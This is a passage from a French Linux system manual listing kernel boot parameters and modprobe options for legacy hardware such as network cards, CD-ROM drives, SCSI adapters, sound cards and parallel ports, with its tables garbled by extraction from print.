fin de la zone de mémoire partagée (angl. shared memory). Le premier argument non numérique est traité comme étant le nom. ____________________________________________________________________________________________________* *______ Interruption utilisée ; 0 pour détection automatique. Adresse de port ; 0 pour détection automatique. ____________________________________________________________________________________________________* *______ Tab. 14.3: Continuer à la page suivante... 378 __________________________________________________________________________________________________14.3.__Les_paramètres_______* *____________________ _____________________________________________________________________________________________________________ Adresse de début pour mémoire partagée (angl. shared memory). Certains pilotes utilisent les 4 bits inférieurs pour le niveau ``debug''. Le pilote Lance utilise ces bits pour le canal DMA. Adresse de fin pour mémoire partagée. Le pilote 3COM3c503 utilise ce paramètre pour différencier les transcepteurs internes des transcepteurs externes. Type du transcepteur La carte Cabletron E21XX utilise les 4 bits inférieurs pour sélectionner le support. Nom de l'interface (habituellement eth0 ). _____________________________________________________________________________________________________________ Tab. 14.3: Dénomination des variables pour cartes réseau Ethernet Ce paramètre est le plus souvent utilisé pour amener le noyau à recon- naître plus d'une carte réseau car normalement seule la première carte est recherchée. Ceci peut être obtenu par ether=0,0,eth1 Tenez compte du fait qu'en spécifiant 0 pour la demande d'interruption (IRQ) et l'adresse, on ordonne au pilote de faire ce que l'on appelle une détection automatique (angl. autoprobing), c'est-à-dire d'essayer diffé- rentes valeurs de façon autonome. ~ Lecteur de disquette floppy=,,cmos _______________________________________________________________________ ||__Variable_________|___Valeurs_/_Signification____________|___________ || |0, 1, 2, 3 | || |0 - prend les valeurs CMOS | || |1 - 5.25 pouces DD, 360 KB | || |2 - 5.25 pouces HD, 1,2 MB | || |3 - 3.5 pouces DD, 720 KB | || |4 - 3.5 pouces HD, 1,44 MB | || |5 - 3.5 pouces ED, 2,88 MB | || |6 - 3.5 pouces ED, 2,88 MB | ||_______________________|16__-_inconnu_ou_inexistant______|___________ floppy= Vous pouvez remplacer par les valeurs suivantes (tableau 14.4 page suivante) : * * 379 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ ____________________________________________________________________________________________________* *______ one_drives Un seul lecteur de disquettes asus_pci Empêche l'accès au 3ème et au 4ème lecteur de disquettes daring Seulement pour les contrôleurs qui ne posent aucun problème - aug- mente la performance 0,daring Le contraire de daring [,]two_fdc Lorsque la valeur pour est omise pour deux contrôleurs de disquettes, on implicite pour le deuxième contrôleur de disquette une adresse de port de 0x370 . thinkpad Ordinateur IBM Thinkpad 0,thinkpad Pas d'ordinateur Thinkpad omnibook Ordinateur Omnibook nodma Pour ordinateur Omnibook dma Standard nofifo S'il apparaît un message "Bus master arbitration error" fifo Par défaut 0xX ,fifo_depth Seuil FIFO par défaut 0xA unexpected_interrupts Afficher un avertissement lorsque des interruptions inattendues se produisent no_unexpected_interrupts Cette valeur donne le résultat inverse de celui produit par unexpected_interrupts L40SX idem ____________________________________________________________________________________________________* *______ Tab. 14.4: valeurs pour le paramètre du noyau floppy ~ Logitech, souris bus bmouse= ~ Contrôleur de disques durs XT xd=,,, 14.3.3 Lecteurs de CD-ROM connectés à des contrôleurs propriétaires Anciens lecteurs de ~ Aztech CDA268-01, CD-ROM CD-ROM aztcd=[,0x79] La valeur 0x79 ne doit être spécifiée que dans le cas d'une version de microprogramme (angl. firmware) inconnue. Exemple : aztcd=0x320 380 __________________________________________________________________________________________________14.3.__Les_paramètres_______* *____________________ ~ Goldstar, lecteur de CD-ROM R420 gscd= ~ Mitsumi, lecteur de CD-ROM mcd=,[,] _____________________________________________________________________________________________ ||__Variable_________|___Valeurs_/_Signification__________________________________|___________ ||______________|valeur_pour_le_temps_d'attente_au_démarrage__|_____________________ On peut faire varier le paramètre dans une marge située entre 0 et 10 si le lecteur de CD-ROM a une réaction trop lente ("timeout") aux requêtes du système, ce qui peut avoir éventuellement pour consé- quence que l'image de root n'est pas détectée pendant l'installation. Exemple : mcd=0x300,10,5 ~ Mitsumi, lecteur de CD-ROM (multisession) mcdx=,[,,] Exemple : mcd=0x300,10 Jusqu'à 5 lecteurs sont supportés ~ Interface Mozart isp16=[[,[,]]][[,]] _____________________________________________________________________________ ||__Variable____|__Valeurs_/_Signification_______________________|____________ ||___________S|anyo____,_Panasonic________,_Sony____,_Mitsumi_________|_ Ce pilote gère des lecteurs de CD-ROM connectés à une carte son ISP16 , MAD16 ou Mozart . La valeur pour la variable dépend du connecteur d'interface auquel le câble du CD-ROM est branché sur la carte son. Exemple : isp16=0x340,10,3,Sony ~ Optics Storage, lecteur de CD-ROM 8000 AT optcd= Exemple : optcd=0x340 ~ Philips, lecteur de CD-ROM CM206 cm206=, Exemple : cm206=0x340,10 ~ Pro Audio Spectrum 16, adaptateur hôte SCSI pas16=, La carte son Pro Audio Spectrum 16 est dotée d'un adaptateur hôte dont la configuration peut être communiquée au noyau avec ce paramètre. Exemple : pas16=0x340,10 Lorsque la reconnaissance de la carte a échoué, elle peut se faire sans l'interruption. Dans ce cas, l'interruption sera positionnée à 255 . Exemple : pas16=0x340,255 * * 381 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ ~ Sanyo, lecteur de CD-ROM sjcd= Exemple : sjcd=0x340 ~ Sony CDU 31/33 A cdu31a=,[,PAS] Pour ce qui concerne ce pilote, la détection automatique (angl. autopro- bing) a complètement disparue du noyau, ce qui rend absolument indis- pensable une spécification des paramètres. Exemple : cdu31a=0x340,5 Si aucune interruption n'est prévue pour le lecteur, l'accès n'est possible que par interrogation (angl. polling) et il doit être spécifié 0 comme IRQ. Exemple : cdu31a=0x340,0 Si ce lecteur est connecté à une carte Pro Audio Spectrum, les paramètres peuvent être les suivants : Exemple : cdu31a=0x1f88,0,PAS ~ Sony CDU 535 sonycd535=, Exemple : sonycd535=0x340,10 ~ Soundblaster Pro 16 MultiCD sbpcd=, __________________________________________________________________________________________________* *__________________ |__Variable____|____Valeurs_/_Signification_______________________________________________________* *________|__________ |____________|LaserMate________,_SPEA____,_SoundBlaster___________,_SoundScape_________,_Tea* *c__16bit__________| Exemple : sbpcd=0x230,SoundBlaster Le port parallèle Port parallèle ~ Port parallèle parport=,[ [parport=,[ [parport=,[]]]]] _________________________________________________________ |__Variable_____|_____Valeurs_/_Signification__|__________ | |Adresse | |______________|Interruption_________________|_____ Exemple : parport=0x3bc parport=0x378,7 parport=0x278,auto ~ Imprimante sur port parallèle lp= [lp= [lp=]] ______________________________________________________________ |__Variable___________|_____Valeurs_/_Signification__|_________ |_______________|_Port_parallèle_______________|____ Exemple : lp=parport0 lp=parport2 Exemple : lp=0x278,5,0x378,7 382 __________________________________________________________________________________________________14.3.__Les_paramètres_____* *______________________ 14.3.4 Paramètres modprobe Dans ce paragraphe, nous présenterons les paramètres qui peuvent être utili- sés pour le chargement d'un pilote en tant que module. S'il n'était pas pos- sible de charger un pilote bien que des paramètres aient été spécifiés ou s'il ne se trouvait pas de paramètre adéquat pour ce pilote dans le présent para- graphe, vous devrez malheureusement intégrer un tel pilote dans un noyau monolithique. Certains pilotes ne sont pas encore disponibles sous forme de modules. Cer- tains autres, peu nombreux, ne reconnaissent le matériel de façon fiable que si le pilote est inclus en permanence dans le noyau. Il vaut en tout cas la peine de faire un essai afin de savoir si le pilote en question peut être utilisé sous forme de module. Si le pilote est chargé en tant que module, toute variable utilisée dans le module peut être écrite dans la ligne de commande. Il existe par exemple dans le pilote pour cartes NE2000 la variable du nom de io qui spécifie la zone d'E/S. Ainsi, la commande correcte de chargement de ce module est donc (voir aussi, au chapitre sur le noyau, le paragraphe 13.2 page 360) : terre:/ # insmod ne io=0x300 irq=10 ou mieux avec modprobe : terre:/ # modprobe ne io=0x300 irq=10 Prenez garde, en spécifiant les paramètres, à ne taper aucun espace ni avant ni après le signe d'égalité. Vous devez en outre entrer des valeurs hexadicimales sous la forme présentée dans l'exemple (en les faisant précéder de `0x'). _______________________________________________________________________________________________________________________|| |||||||| Si plusieurs paramètres peuvent être spécifiés pour un pilote, vous devez ||| | |||||||| absolument les séparer par des espaces ! Ceci constitue une différence fon- || | |||||||| || | |||||||| damentale avec la transmission des paramètres à l'invite d'amorçage où il || | |||||||| ne doit pas y avoir d'espaces entre les paramètres concernant un seul et || | |||||||| || | |||||||| même pilote ! || | ||||||||_______________________________________________________________________________________________________________||_ Les paramètres que vous spécifiez ici peuvent aussi être repris dans le fichier /etc/modules.conf. On peut y spécifier toute une série de paramètres pour chaque module. Ceci se fait dans une ligne de commande propre à chaque module. Ces lignes de commandes ont la structure suivante : options = ... avec dans ce cas : ________________________________________________________________________________________________________________ ||||||||__Variable____________Valeurs_/|Signification___________________________________|________________________ |||||||| Nom du fichie|r de module sans extension .o | |||||||| Paramètre 1 | | ||||||||_______________Valeur_assign|ée_au_paramètre_1______________________|____________________________ L'entrée pour la carte NE2000 de l'exemple ci-dessus serait par conséquent : options ne io=0x300 irq=10 Voici maintenant une liste des paramètres les plus importants pour la plupart des modules * * 383 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ Contrôleur SCSI et sous-système SCSI ~ Adaptec, adaptateurs hôtes AHA-1520 / 1522 / 1510 / 1515 / 1505 Nom du module : aha152x.o ____________________________________________________________________________________________ |__Variable___________|_____Valeurs_/_Signification________________________________|_________ | | | | | | | | ID SCSI de l'adaptateur hôte ; par défaut 7 | | | ; 0 , 1 | | | parité ; 0 , 1 | | | mode synchrone ; 0 , 1 | | | Temporisation du bus ; par défaut 100 | |_______________|_translation_de_la_géométrie_du_disque_;_0_,_1____|______________ Comme à l'invite de LILO : Exemple : modprobe aha152x aha152x=0x340,10,7,1,1,0,100,0 Pour un deuxième adaptateur hôte : Exemple : modprobe aha152x aha152x1=0x140,12,7,1,1,0,100,0 ~ Future Domain, adaptateur hôte TMC-16x0 Nom du module : fdomain.o Ce pilote gère entre autres l'adaptateur hôte SCSI Adaptec 2920 . fdomain=,[,] _______________________________________________________ |__Variable____|____Valeurs_/_Signification__|__________ | | | | | | |______________|_______________________________| Comme à l'invite de LILO : Exemple : modprobe fdomain fdomain=0x140,11,7 ~ Famille d'adapteurs hôtes SCSI NCR 5380 ou NCR 53C400 Nom du module : g_NCR5380.o ______________________________________________________________________________ |__Paramètres_____|_______Valeurs_________________________________________|____ | ncr_addr | | | ncr_irq | ; désactiver avec 255 | | ncr_dma | | | ncr_5380 |1 pour un adaptateur NCR5380 | |__ncr_53c400____________|1__pour_un_adaptateur_NCR53C400__|__________________ Pour un adaptateur NCR5380 : Exemple : modprobe g_NCR5380 ncr_irq=5 ncr_addr=0x350 ncr_5380=1 Pour un adaptateur NCR53C400 avec interruptions désactivées : Exemple : modprobe g_NCR5380 ncr_irq=255 ncr_addr=0xc8000 ncr_53c400=1 Ce pilote gère par exemple l'adaptateur hôte SCSI très répandu Trantor T130B 384 __________________________________________________________________________________________________14.3.__Les_paramètres_____* *______________________ Cartes réseau ~ 3Com, cartes réseau 3c501 / 3c503 / 3c505 / 3c507 Nom du module : 3c501.o,3c503.o,3c505.o,3c507.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ || io <|addr> | ||__irq_______________<|irq>_________|__ Exemple : modprobe 3c509 io=0x300 irq=10 ~ 3Com, cartes réseau 3c509 / 3c579 Nom du module : 3c509.o ___________________________________________________________ ||__Paramètres__|_____Valeurs________________________|______ || irq <|irq> | ||__xcvr______________0|_:_interne_;_1__:_externe__|_______ Exemple : modprobe 3c509 irq=10 xcvr=0 ~ 3Com, cartes réseau 3c515 Nom du module : 3c515.o Exemple : modprobe 3c515 ~ 3Com, cartes réseau 3c59x / 3c90x (``Vortex''/``Boomerang'') Nom du module : 3c59x.o Pour les ordinateurs Compaq (PCI), on peut faire un essai avec les para- mètres suivants : __________________________________________________ ||__Paramètres_____________|_____Valeurs_____|_____ || compaq_ioaddr | | || compaq_irq | | ||__compaq_prod_id_______________|__________|_ Exemple : modprobe 3c59x compaq_irq=10 ~ Allied Telesis, carte réseau AT1700 Nom du module : at1700.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ || io <|addr> | ||__irq_______________<|irq>_________|__ Exemple : modprobe at1700 io=0x300 irq=10 ~ Cabletron, carte réseau E21xx Nom du module : e2100.o * * 385 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ __________________________________________________________ |__Paramètres__|_______Valeurs________________________|____ | io | | | irq | | | mem | | |__xcvr_______________|0__:_interne_;_1__:_externe__|_____ Exemple : modprobe e2100 io=0x300 irq=10 mem=0xd000 xcvr=0 ~ Digital, cartes réseau DE425 / 434 / 435 / 450 / 500 Nom du module : de4x5.o io=0x ______________________________________________________________________________________ |__Paramètres_______________|______Valeurs________________________________________|____ | bus |Numéro du bus PCI, en général 0 | |__id__périphérique_______________|Numéro_du_périphérique_PCI_________|_______________ Pour les BIOS de PCI récents, ces données sont affichées ou peuvent être obtenues sous Linux avec terre: # cat /proc/pci Exemple : modprobe de4x5 io=0x007 ~ Digital DEPCA / DE10x / DE20(012) / DE42, carte réseau Ether WORKS Nom du module : depca.o __________________________________________________________________________ |__Paramètres_________|_______Valeurs_________________________________|____ | io | | | irq | | | mem | | | adapter_name | par exemple DEPCA , | | | de100 , de101 , | | | de200 , de201 , | | | de202 , de210 , | |___________________________|_de422______________________________________|_ Exemple : modprobe depca io=0x300 irq=10 ~ EtherWORKS 3 (DE203, DE204, DE205), cartes réseau Nom du module : ewrk3.o _______________________________________ |__Paramètres__|_______Valeurs_____|____ | io | | |__irq________________|__________|_ Exemple : modprobe ewrk3 io=0x300 irq=10 ~ Intel EtherExpress 16, carte réseau 386 __________________________________________________________________________________________________14.3.__Les_paramètres_______* *____________________ Nom du module : eexpress.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ || io <|addr> | ||__irq_______________<|irq>_________|__ Exemple : modprobe eexpress io=0x300 irq=10 ~ Intel EtherExpressPro, carte réseau Nom du module : eepro.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ || io <|addr> | || irq <|irq> | ||__mem_______________<|addr>________|__ Exemple : modprobe eepro io=0x300 irq=10 mem=0xd000 ~ Intel EtherExpressPro 100, carte réseau Nom du module : eepro100.o La carte Intel EtherExpressPro inclut les puces i82557/i82558 . ___________________________________________________________________________________ ||__Paramètres__|_____Valeurs_________________________________________________|_____ || options <|Fonctionnement en duplex et> | || <|Transceiver bus> | || 1|6 Full-duplex | || 3|2 Seulement en mode 100 Mbits | ||____________________6|4__Seulement_en_mode_10_Mbits____________|_________________ Exemple : modprobe eepro100 options=48 On configure ainsi simultanément Full-duplex et mode 100Mbits (48 = 32 + 16). ~ Fujitsu FMV-181/182/183/184, cartes réseau Nom du module : fmv18x.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ || io <|addr> | ||__irq_______________<|irq>_________|__ Exemple : modprobe fmv18x io=0x300 irq=10 ~ HP PCLAN+ (27247B and 27252A), carte réseau Nom du module : hp-plus.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ || io <|addr> | ||__irq_______________<|irq>_________|__ Exemple : modprobe hp-plus io=0x300 irq=10 * * 387 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ ~ HP PCLAN (27245 / 27xxx) Nom du module : hp.o _______________________________________ |__Paramètres__|_______Valeurs_____|____ | io | | |__irq________________|__________|_ Exemple : modprobe hp io=0x300 irq=10 ~ HP 10/100 VG-AnyLAN (ISA, EISA, PCI), cartes réseau Nom du module : hp100.o __________________________________________ |__Paramètres_____|_______Valeurs_____|____ |__hp100_port____________|_________|_ Exemple : modprobe hp100 hp100_port=0x300 ~ ICL EtherTeam 16i / 32, cartes réseau Nom du module : eth16i.o _______________________________________ |__Paramètres__|_______Valeurs_____|____ | io | | |__irq________________|__________|_ Exemple : modprobe eth16i io=0x300 irq=10 ~ Novell NE2000 / NE1000, cartes réseau Nom du module : ne.o __________________________________________________________________________________________ |__Paramètres__|_______Valeurs_________________________________________________________|___ | io | | | irq | | |__bad________________|bad___,_seulement_si_la_carte_n'est_pas_reconnue__|________________ Exemple : modprobe ne io=0x300 irq=10 ~ NI6510 (AM7990, puce ``lance''), carte réseau Nom du module : ni65.o _______________________________________ |__Paramètres__|_______Valeurs_____|____ | io | | | irq | | |__dma________________|__________|_ Exemple : modprobe ni65 io=0x300 irq=10 ~ SMC Ultra, carte réseau Nom du module : smc-ultra.o 388 __________________________________________________________________________________________________14.3.__Les_paramètres_______* *____________________ ________________________________________ ||__Paramètres__|_____Valeurs_____|______ || io <|addr> | ||__irq_______________<|irq>_________|__ Exemple : modprobe smc-ultra io=0x300 irq=10 ~ SMC 9194, carte réseau Nom du module : smc9194.o ___________________________________________ ||__Paramètres__|_____Valeurs_________|_____ || io <|addr> | || irq <|irq> | ||__if_port___________<|medium>__________|_ ____________________________________________________________ ||__Variable_______|___Valeurs_/_Signification__|____________ || 0| auto | || 1| TP | ||_____________________2|_AUI,_10base2____________|_________ Exemple : modprobe smc9194 io=0x300 irq=10 if_port=2 ~ Western Digital, carte réseau WD80x3 Nom du module : wd.o _____________________________________________ ||__Paramètres__|_____Valeurs__________|______ || io <|addr> | || irq <|irq> | || mem <|mem> | ||__mem_end___________<|mem_end>___________|_ Exemple : modprobe wd io=0x300 irq=10 ~ IBM Tropic chipset Token Ring, carte réseau Nom du module : ibmtr.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ ||__io________________<|addr>________|__ Exemple : modprobe ibmtr io=0x300 ~ D-Link DE620 pocket adaptor, carte réseau Nom du module : de620.o ________________________________________________________________________________________________ ||__Paramètres__|_____Valeurs_____________________________________________________________|______ || io <|addr> | || irq <|irq> | || bnc 1| si Entrée/Sortie BNC | || utp 1| si Entrée/Sortie BNC | ||__clone_____________1|_si_le_péripherique_est_de_construction_similaire__|____________________ Exemple : modprobe de620 io=0x300 irq=10 bnc=1 utp=0 * * 389 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ Lecteurs de CD-ROM propriétaires Lecteurs de Les paramètres suivants concernent les lecteurs de CD-ROM connectés à des CD-ROM contrôleurs particuliers. Qui possède une telle ``pièce de musée'' ne l'ignore propriétaires sûrement pas : : : ~ Aztech, lecteur de CD-ROM CDA268-01 Nom du module : aztcd.o _______________________________________ |__Paramètres__|_______Valeurs_____|____ |__aztcd______________|_________|_ Exemple : modprobe aztcd aztcd=0x300 ~ Goldstar, lecteur de CD-ROM R420 Nom du module : gscd.o _______________________________________ |__Paramètres__|_______Valeurs_____|____ |__gscd_______________|_________|_ Exemple : modprobe gscd gscd=0x300 ~ Mitsumi, lecteur de CD-ROM Nom du module : mcd.o mcd=,[,] _____________________________________________________________________________________________ |__Variable_________|_____Valeurs_/_Signification__________________________________|__________ |______________|_Valeur_pour_le_temps_d'attente_au_démarrage__|_____________________ On peut faire varier le paramètre dans une marge située entre 0 et 10 si le lecteur de CD-ROM a une réaction trop lente aux demandes du système ("timeout"). Ceci peut avoir éventuellement pour conséquence que l'image de root n'est pas détectée pendant l'installation. Exemple : modprobe mcd mcd=0x300,10,5 ~ Mitsumi, lecteur de CD-ROM (multisession) Nom du module : mcdx.o mcdx=,[,,] Pour plusieurs pilotes, on peut répéter jusqu'à quatre fois fois le couple de paramètres , . ~ Carte son Mozart avec interface pour lecteurs de CD-ROM Nom du module : isp16.o isp16_cdrom_base= isp16_cdrom_irq= isp16_cdrom_dma= isp16_cdrom_type= ____________________________________________________________________________ |__Variable____|____Valeurs_/_Signification_______________________|__________ |____________|Sanyo_____,_Panasonic________,_Sony____,_Mitsumi________ | 390 __________________________________________________________________________________________________14.3.__Les_paramètres_______* *____________________ Ce pilote n'est pas un véritable pilote de CD-ROM ; il prend seulement en charge la configuration d'interface des lecteurs de CD-ROM connectés à une carte son ISP16 , MAD16 ou Mozart . Après le chargement de ce pilote, seule l'interface correspondante est configurée. Le pilote de CD- ROM adéquat doit ensuite être chargé additionnellement. La valeur pour la variable dépend du connecteur auquel le câble du CD-ROM est branché sur la carte son. Exemple : modprobe isp16 isp16=0x300,10,1,sony Exemple : modprobe isp16 isp16_cdrom_base=0x300 isp16_cdrom_irq=10 isp16_cdrom_dma=1 isp16_cdrom_type=sony ~ Optics Storage 8000 AT, lecteur de CD-ROM Nom du module : optcd.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ ||__optcd_____________<|addr>________|__ Exemple : modprobe optcd optcd=0x300 ~ Philips, lecteur de CD-ROM CM 206 Nom du module : cm206.o cm206=, Exemple : modprobe cm206 cm206=0x300,10 ~ Sanyo, lecteur de CD-ROM Nom du module : sjcd.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ ||__sjcd______________<|addr>________|__ Exemple : modprobe sjcd sjcd=0x300 ~ Sony CDU 31/33 A Nom du module : cdu31a.o _____________________________________________ ||__Paramètres_______|_____Valeurs_____|______ || cdu31a_port | | ||__cdu31a_irq_____________|_________|__ Exemple : modprobe cdu31a cdu31a_port=0x300 cdu31a_irq=10 ~ Sony CDU 535 Nom du module : sonycd535.o _________________________________________ ||__Paramètres___|_____Valeurs_____|______ ||__sonycd535__________<|addr>________|__ Exemple : modprobe sonycd535 sonycd535=0x300 * * 391 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ ~ Soundblaster Pro 16 MultiCD Nom du module : sbpcd.o sbpcd=, peut avoir ici les valeurs suivantes : ______________________________________________________ |__Variable__|_____Valeurs_/_Signification__|__________ | 0 | LaserMate | | 1 | SoundBlaster | | 2 | SoundScape | |__3_____________|_Teac16bit_________________________|_ Exemple : modprobe sbpcd sbpcd=0x300,0 Cartes son et chipsets son Le son Depuis le noyau 2.2.xx, le support son est compilé sous forme de module et peut être influencé par de nombreux paramètres. ~ AD1816, chip Nom du module : ad1816.o Sont, entre autres, supportés : TerraTec Base 1, TerraTec Base 64, HP Kayak, Acer FX-3D, SY-1816, Highscreen Sound-Boostar 32 Wave 3D _______________________________________________________________ |__Paramètres_________________|______Valeurs______________|_____ | io | | | irq | | | dma | | | dma2 | | |__ad1816_clockfreq_________________|______________|_ Exemple : modprobe ad1816 io=0x530 irq=5 dma=1 dma2=3 ad1816_clockfreq=33000 ~ AD1848/CS4248, chip (MSS) Nom du module : ad1848.o _________________________________________________ |__Paramètres_____|_______Valeurs____________|____ | io | | | irq | | | dma | | | dma2 | | | type | | |__deskpro_xl____________|________________| ~ Pilote générique OPLx Nom du module : adlib_card.o _______________________________________ |__Paramètres__|_______Valeurs_____|____ |__io_________________|_________|_ Exemple : modprobe adlib_card io=0x330 392 __________________________________________________________________________________________________14.3.__Les_paramètres_______* *____________________ ~ Crystal 423x, chipsets Nom du module : cs4232.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ || io <|addr> | || irq <|irq> | || dma <|dma> | ||__dma2______________<|dma2>________|__ Exemple : modprobe cs4232 io=0x530 irq=5 dma=1 dma2=3 ~ Ensoniq 1370, chipset Nom du module : es1370.o Voir aussi PCI64/128. ______________________________________________________________________ ||__Paramètres__|_____Valeurs___________________________________|______ || joystick 1| : activer le joystick | || lineout 1| : passer de line-in à line-out | ||__micz______________I|mpédance_du_microphone_______|________________ Exemple : modprobe es1370 joystick=1 lineout=1 ~ Creative Ensoniq 1371, chipset Nom du module : es1371.o Vgl. auch PCI64/128. ________________________________________ ||__Paramètres__|_____Valeurs_____|______ ||__joystick__________<|addr>________|__ Des valeurs valides pour sont 0x200 , 0x208 , 0x210 et 0x218 . Exemple : modprobe es1371 joystick=0x200 ~ Gravis Ultrasound Nom du module : gus.o ______________________________________________ ||__Paramètres_______|_____Valeurs_______|_____ || io | | || irq | | || dma | | || dma16 | | || type | | || gus16 | | || no_wave_dma | | ||__db16___________________|________________|_ ~ MAD16 Nom du module : mad16.o * * 393 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ Supporte OPTi 82C928, OAK OTI-601D, OPTi 82C929, OPTi 82C930 et OPTi 82C924. _______________________________________ |__Paramètres__|_______Valeurs_____|____ | io | | | irq | | | dma | | |__dma16______________|_________|_ Exemple : modprobe mad16 io=0x530 irq=7 dma=0 dma16=1 ~ Turtle Beach Maui et Tropez Nom du module : maui.o _______________________________________ |__Paramètres__|_______Valeurs_____|____ | io | | |__irq________________|__________|_ Exemple : modprobe maui io=0x530 irq=5 ~ MPU401 Nom du module : mpu401.o _______________________________________ |__Paramètres__|_______Valeurs_____|____ |__io_________________|_________|_ Exemple : modprobe mpu401 io=0x330 ~ Turtle Beach MultiSound Nom du module : msnd.o Exemple : modprobe msnd ~ Turtle Beach Classic/Monterey/Tahiti Nom du module : msnd_classic.o _____________________________________________________ |__Paramètres_________________|______Valeurs_____|____ | io | | | irq | | | mem | | | write_ndelay | | | major | | | fifosize | | |__calibrate_signal_________________|________________| Exemple : modprobe msnd_classic io=0x290 irq=7 mem=0xd0000 ~ Turtle Beach Pinnacle/Fiji Nom du module : msnd_pinnacle.o 394 __________________________________________________________________________________________________14.3.__Les_paramètres_______* *____________________ En plus des paramètres de Turtle Beach Classic/Monterey/Tahiti (para- graphe 14.3.4 page précédente), cette carte supporte aussi : __________________________________________ ||__Paramètres_______|_____Valeurs__|______ || digital | | || cfg | | || reset | | || mpu_io | | || mpu_irq | | || ide_io0 | | || ide_io1 | | || ide_irq | | ||__joystick_io____________|____________|_ Exemple : modprobe msnd_pinnacle cfg=0x250 io=0x290 irq=5 mem=0xd0000 ~ OPL3 Nom du module : opl3.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ ||__io________________<|addr>________|__ Exemple : modprobe opl3 io=0x388 ~ OPL3-SA1 Nom du module : opl3sa.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ || io <|addr> | || irq <|irq> | || dma <|dma> | || dma2 <|dma2> | || mpu_io <|addr> | ||__mpu_irq___________<|irq>_________|__ Exemple : modprobe opl3sa io=0x530 irq=11 dma=0 dma2=1 mpu_io=0x330 mpu_irq=5 ~ YMF711, YMF715, YMF719, OPL3-SA2, OPL3-SA3, OPL3-SAx Nom du module : opl3sa2.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ || io <|addr> | || irq <|irq> | || dma <|dma> | || dma2 <|dma2> | || mss_io <|addr> | ||__mpu_io____________<|addr>________|__ * * 395 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ Exemple : modprobe opl3sa2 io=0x370 irq=7 dma=0 dma2=3 mss_io=0x530 mpu_io=0x330 ~ Pro Audio Spectrum Nom du module : pas2.o _______________________________________________________ |__Paramètres_________________|______Valeurs_______|____ | io | | | irq | | | dma | | | dma16 | | | sb_io | | | sb_irq | | | sb_dma | | | sb_dma16 | | | joystick | | | symphony | | | broken_bus_clock | | |___________________________________|__________________| ~ Personal Sound System (ECHO ESC614) Nom du module : pss.o _________________________________________________ |__Paramètres___|_______Valeurs______________|____ | pss_io | | | mss_io | | | mss_irq | | | mss_dma | | | mpu_io | | | mpu_irq | | |__pss_mixer___________|1__(activer)_ou_0___|____ ~ Sound Blaster et clones Nom du module : sb.o __________________________________________________________________________ |__Paramètres___|_______Valeurs_______________________________________|____ | io | | | irq | | | dma | | | dma16 | | | mpu_io | | | mad16 |1 (activer) | | trix |1 (activer) | | pas2 |1 (activer) | | sm_games |1 (activer) | | acer |1 (activer), avec notebooks Acer | |__mwave_bug___________|1__(activer)___________________________________|__ Exemple : modprobe sb io=0x220 irq=5 dma=1 dma16=5 mpu_io=0x330 396 __________________________________________________________________________________________________14.3.__Les_paramètres_______* *____________________ ~ Aztech Sound Galaxy Nom du module : sgalaxy.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ || io <|addr> | || irq <|irq> | || dma <|dma> | || dma2 <|dma2> | ||__sgbase_____________|_____________|__ ~ S3 Sonic Vibes Nom du module : sonicvibes.o Aucun paramètre. ~ Ensoniq SoundScape Nom du module : sscape.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ || io <|addr> | || irq <|irq> | || dma <|dma> | || mss | | || mpu_io <|addr> | || mpu_irq <|irq> | ||__spea______________1|_____________|__ ~ MediaTrix AudioTrix Pro Nom du module : trix.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ || io <|addr> | || irq <|irq> | || dma <|dma> | || dma2 <|dma2> | || sb_io <|addr> | || sb_irq <|irq> | || sb_dma <|dma> | || mpu_io <|addr> | ||__mpu_irq___________<|irq>_________|__ ~ UART401 Nom du module : uart401.o ________________________________________ ||__Paramètres__|_____Valeurs_____|______ || io <|addr> | ||__irq_______________<|irq>_________|__ Exemple : modprobe io=0x330 irq=9 * * 397 14. Paramètres du_noyau___________________________________________________________________________________________________________* *_______________________________________@ ~ UART6850 Nom du module : uart6850.o _______________________________________ |__Paramètres__|_______Valeurs_____|____ | io | | |__irq________________|__________|_ ~ Chipsets carte son DSP Nom du module : v_midi.o Aucun paramètre. ~ Turtle Beach Maui, Tropez, Tropez Plus Nom du module : wavefront.o _______________________________________ |__Paramètres__|_______Valeurs_____|____ | io | | |__irq________________|__________|_ Exemple : modprobe wavefront io=0x200 irq=9 Les ports parallèles Port parallèle L'utilisation des ports parallèles est assez complexe. Après la configuration, vous avez un sous-système à disposition (voir paragraphe 10.4.3 page 307). ~ Port parallèle Nom du module : parport.o Exemple : modprobe parport ~ Port parallèle ~ Architecture spécifique Nom du module : parport_pc.o _______________________________________ |__Paramètres__|_______Valeurs_____|____ | io | | |__irq________________|__________|_ Pour installer par exemple 3 ports en style PC, ayant respectivement l'adresse 0x3bc sans IRQ, l'adresse 0x378 avec IRQ 7 et l'adresse 0x278 avec IRQ détecté automatiquement, vous tapez (en une seule ligne !) : Exemple : modprobe parport_pc io=0x3bc,0x378,0x278 irq=none,7,auto ~ Pilote d'imprimante Nom du module : lp.o _______________________________________ |__Paramètres__|_______Valeurs_____|____ |__parport____________|_________|_ Exemple : modprobe lp parport=0,2 398 __________________________________________________________________________________________________14.3.__Les_paramètres_______* *____________________ ~ Périphériques IDE sur port parallèle Nom du module : paride.o Si vous voulez utiliser des chaînes de périphériques 